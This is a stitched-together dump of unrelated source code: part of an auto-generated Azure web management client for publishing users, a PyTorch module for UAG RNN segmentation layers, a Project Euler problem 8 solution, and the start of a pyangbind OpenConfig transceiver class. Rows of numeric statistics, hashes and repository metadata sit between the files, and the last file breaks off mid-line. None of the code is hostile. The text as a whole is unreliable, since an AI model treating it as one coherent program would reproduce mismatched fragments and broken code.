query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('User', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_publishing_user( self, request_message, custom_headers=None, raw=False, **operation_config): """ Updates publishing user :param request_message: Details of publishing user :type request_message: :class:`User <azure.mgmt.web.models.User>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`User <azure.mgmt.web.models.User>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/providers/Microsoft.Web/publishingUsers/web' # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(request_message, 'User') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('User', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized
40.846626
140
0.663713
1,439
13,316
5.970813
0.129256
0.03608
0.027933
0.041899
0.839036
0.839036
0.831122
0.822277
0.817155
0.805982
0
0.004422
0.235731
13,316
325
141
40.972308
0.839835
0.308426
0
0.842105
0
0
0.139926
0.072803
0
0
0
0
0
1
0.039474
false
0
0.026316
0
0.138158
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
249b64e709751fb09d1d9e2149b8b85080d497f2
8,047
py
Python
models/utils_graphical_model.py
jeff7021/organseg_dags
2ba7deb90836aaf8e0e35d879fd00b65787bb491
[ "Apache-2.0" ]
null
null
null
models/utils_graphical_model.py
jeff7021/organseg_dags
2ba7deb90836aaf8e0e35d879fd00b65787bb491
[ "Apache-2.0" ]
null
null
null
models/utils_graphical_model.py
jeff7021/organseg_dags
2ba7deb90836aaf8e0e35d879fd00b65787bb491
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # @Time : 7/3/2021 9:11 PM # @Author: yzf import torch import torch.nn as nn from torch.nn import Conv1d, ReLU, Parameter #=======================================UAGs=============================================== class UAG_RNN_4Neigh(nn.Module): """Four Neighbor Unidirectional Acyclic Graphs (UAGs). Henghui Ding et al., ICCV, 2019""" def __init__(self, in_dim): super(UAG_RNN_4Neigh, self).__init__() self.chanel_in = in_dim self.relu = ReLU() self.conv1 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv2 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # south self.conv4 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv5 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # east self.conv7 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv8 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # west self.conv9 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv10 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # north self.conv12 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv13 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # east self.conv15 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv16 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) # west def forward(self, x): m_batchsize, C, height, width = x.size() ## s plane hs = x * 1 for i in range(height): if i > 0: hs[:, :, i, :] = self.conv1(hs[:, :, i, :].clone()) + self.conv2(hs[:, :, i - 1, :].clone()) # why clone()? hs[:, :, i, :] = self.relu(hs[:, :, i, :].clone()) ## e plane hse = hs * 1 for j in range(width): if j > 0: hse[:, :, :, j] = self.conv4(hse[:, :, :, j].clone()) + self.conv5(hse[:, :, :, j - 1].clone()) hse[:, :, :, j] = self.relu(hse[:, :, :, j].clone()) ## w plane hsw = hs * 1 for j in reversed(range(width)): if j < (width - 1): hsw[:, :, :, j] = self.conv7(hsw[:, :, :, j].clone()) + self.conv8(hsw[:, :, :, j + 1].clone()) hsw[:, :, :, j] = self.relu(hsw[:, :, :, j].clone()) ## n plane hn = x * 1 for i in reversed(range(height)): if i < (height - 1): hn[:, :, i, :] = self.conv9(hn[:, :, i, :].clone()) + self.conv10(hn[:, :, i + 1, :].clone()) hn[:, :, i, :] = self.relu(hn[:, :, i, :].clone()) ## ne plane hne = hn * 1 for j in range(width): if j > 0: hne[:, :, :, j] = self.conv12(hne[:, :, :, j].clone()) + self.conv13(hne[:, :, :, j - 1].clone()) hne[:, :, :, j] = self.relu(hne[:, :, :, j].clone()) ## nw plane hnw = hn * 1 for j in reversed(range(width)): if j < (width - 1): hnw[:, :, :, j] = self.conv15(hnw[:, :, :, j].clone()) + self.conv16(hnw[:, :, :, j + 1].clone()) hnw[:, :, :, j] = self.relu(hnw[:, :, :, j].clone()) out = hse + hsw + hnw + hne return out class UAG_RNN_8Neigh(nn.Module): """8 Neighbor Unidirectional Acyclic Graphs (UAGs). Henghui Ding et al., ICCV, 2019.""" def __init__(self, in_dim): super(UAG_RNN_8Neigh, self).__init__() self.chanel_in = in_dim self.relu = ReLU() self.gamma1 = Parameter(0.5 * torch.ones(1)) self.gamma2 = Parameter(0.5 * torch.ones(1)) self.gamma3 = Parameter(0.5 * torch.ones(1)) self.gamma4 = Parameter(0.5 * torch.ones(1)) self.conv1 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv2 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv3 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv4 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv5 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv6 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv7 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv8 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv9 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv10 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv11 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv12 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv13 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv14 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv15 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) self.conv16 = Conv1d(in_channels=in_dim, out_channels=in_dim, kernel_size=1) def forward(self, x): m_batchsize, C, height, width = x.size() ## s plane hs = x*1 for i in range(height): if i>0: hs[:,:,i,:] = self.conv1(hs[:,:,i,:].clone()) + self.conv2(hs[:,:,i-1,:].clone()) # torch.clone() is differentiable hs[:,:,i,:] = self.relu(hs[:,:,i,:].clone()) ## se plane # (i, j) = (i-1, j-1) diagonal + (i, j-1) left + (i-1, j) top hse = hs*1 for j in range(width): if j>0: tmp = self.conv3(hse[:,:,:,j-1].clone()) tmp = torch.cat((0*tmp[:,:,-1].view(m_batchsize, C, 1), tmp[:,:,0:-1]),2) # diagonal. Place O first in height dimension hse[:,:,:,j] = self.conv4(hse[:,:,:,j].clone()) + self.conv5(hse[:,:,:,j-1].clone()) + self.gamma1*tmp del tmp hse[:,:,:,j] = self.relu(hse[:,:,:,j].clone()) ## sw plane hsw = hs*1 for j in reversed(range(width)): if j<(width-1): tmp = self.conv6(hsw[:,:,:,j+1].clone()) tmp = torch.cat((0*tmp[:,:,-1].view(m_batchsize, C, 1), tmp[:,:,0:-1]),2) # diagonal hsw[:,:,:,j] = self.conv7(hsw[:,:,:,j].clone()) + self.conv8(hsw[:,:,:,j+1].clone()) + self.gamma2*tmp del tmp hsw[:,:,:,j] = self.relu(hsw[:,:,:,j].clone()) ## n plane hn = x*1 for i in reversed(range(height)): if i<(height-1): hn[:,:,i,:] = self.conv9(hn[:,:,i,:].clone()) + self.conv10(hn[:,:,i+1,:].clone()) hn[:,:,i,:] = self.relu(hn[:,:,i,:].clone()) ## ne plane hne = hn*1 for j in range(width): if j>0: tmp = self.conv11(hne[:,:,:,j-1].clone()) tmp = torch.cat((tmp[:,:,1:], 0*tmp[:,:,0].view(m_batchsize, C, 1)),2) # diagonal hne[:,:,:,j] = self.conv12(hne[:,:,:,j].clone()) + self.conv13(hne[:,:,:,j-1].clone()) + self.gamma3*tmp del tmp hne[:,:,:,j] = self.relu(hne[:,:,:,j].clone()) ## nw plane hnw = hn*1 for j in reversed(range(width)): if j<(width-1): tmp = self.conv14(hnw[:,:,:,j+1].clone()) tmp = torch.cat((tmp[:,:,1:], 0*tmp[:,:,0].view(m_batchsize, C, 1)),2) # diagonal hnw[:,:,:,j] = self.conv15(hnw[:,:,:,j].clone()) + self.conv16(hnw[:,:,:,j+1].clone()) + self.gamma4*tmp del tmp hnw[:,:,:,j] = self.relu(hnw[:,:,:,j].clone()) out = hse + hsw + hnw + hne return out
48.769697
137
0.514353
1,116
8,047
3.551075
0.112903
0.0757
0.183699
0.127176
0.885188
0.885188
0.885188
0.840777
0.840777
0.840777
0
0.04282
0.286069
8,047
165
138
48.769697
0.646997
0.080278
0
0.784
0
0
0
0
0
0
0
0
0
1
0.032
false
0
0.024
0
0.088
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
24eef340439096498a06e1bcdd0777c757721c9b
1,539
py
Python
euler8.py
NasreenKhalid/project_euler
175b81c974677e2596effb1316f09f23d8e5064a
[ "MIT" ]
6
2020-10-04T22:10:05.000Z
2020-11-02T22:18:12.000Z
euler8.py
NasreenKhalid/project_euler
175b81c974677e2596effb1316f09f23d8e5064a
[ "MIT" ]
6
2020-10-04T13:08:29.000Z
2021-10-31T21:20:50.000Z
euler8.py
NasreenKhalid/project_euler
175b81c974677e2596effb1316f09f23d8e5064a
[ "MIT" ]
16
2020-10-04T13:13:07.000Z
2021-10-31T11:19:23.000Z
#!/usr/bin/python3 """ The four adjacent digits in the 1000-digit number that have the greatest product are 9 × 9 × 8 × 9 = 5832. Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product? """ seq = "7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450" import numpy as np def euler8(seq: str)-> int: maxi = 0 for i in range(len(seq)-13): tmp = seq[i:i+13] val = np.prod(list(map(int, list(tmp)))) if val > maxi: maxi = val return maxi maxi = euler8(seq) print(maxi)
66.913043
1,008
0.868746
93
1,539
14.408602
0.55914
0.020896
0.023881
0.028358
0.089552
0.089552
0.089552
0.089552
0.089552
0.089552
0
0.732999
0.092268
1,539
22
1,009
69.954545
0.224052
0.162443
0
0
0
0
0.783085
0.783085
0
1
0
0
0
1
0.083333
false
0
0.083333
0
0.25
0.083333
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
7
7007cda39639656ee6437cbd68c4b341c3fe5cd8
538,154
py
Python
ocbind/components/component/transceiver/state/__init__.py
SeanCondon/onos-config-demo
0789d397b46fd5cda512ae7fffe35e1a4bfdfdbe
[ "Apache-2.0" ]
1
2019-08-01T17:42:57.000Z
2019-08-01T17:42:57.000Z
ocbind/components/component/transceiver/state/__init__.py
SeanCondon/onos-config-demo
0789d397b46fd5cda512ae7fffe35e1a4bfdfdbe
[ "Apache-2.0" ]
1
2021-05-26T16:38:04.000Z
2021-05-26T16:38:04.000Z
ocbind/components/component/transceiver/state/__init__.py
SeanCondon/onos-config-demo
0789d397b46fd5cda512ae7fffe35e1a4bfdfdbe
[ "Apache-2.0" ]
4
2019-07-24T16:52:39.000Z
2021-12-03T02:08:13.000Z
# -*- coding: utf-8 -*- from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListType from pyangbind.lib.yangtypes import YANGDynClass from pyangbind.lib.yangtypes import ReferenceType from pyangbind.lib.base import PybindBase from collections import OrderedDict from decimal import Decimal from bitarray import bitarray import six # PY3 support of some PY2 keywords (needs improved) if six.PY3: import builtins as __builtin__ long = int elif six.PY2: import __builtin__ from . import pre_fec_ber from . import post_fec_ber from . import output_power from . import input_power from . import laser_bias_current class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform - based on the path /components/component/transceiver/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Operational state data for client port transceivers """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__form_factor_preconf','__ethernet_pmd_preconf','__fec_mode','__present','__form_factor','__connector_type','__vendor','__vendor_part','__vendor_rev','__ethernet_pmd','__sonet_sdh_compliance_code','__otn_compliance_code','__serial_no','__date_code','__fault_condition','__fec_status','__fec_uncorrectable_blocks','__fec_uncorrectable_words','__fec_corrected_bytes','__fec_corrected_bits','__pre_fec_ber','__post_fec_ber','__output_power','__input_power','__laser_bias_current',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): helper = kwargs.pop("path_helper", None) if helper is False: self._path_helper = False elif helper is not None and isinstance(helper, xpathhelper.YANGPathHelper): self._path_helper = helper elif hasattr(self, "_parent"): helper = getattr(self._parent, "_path_helper", False) self._path_helper = helper else: self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 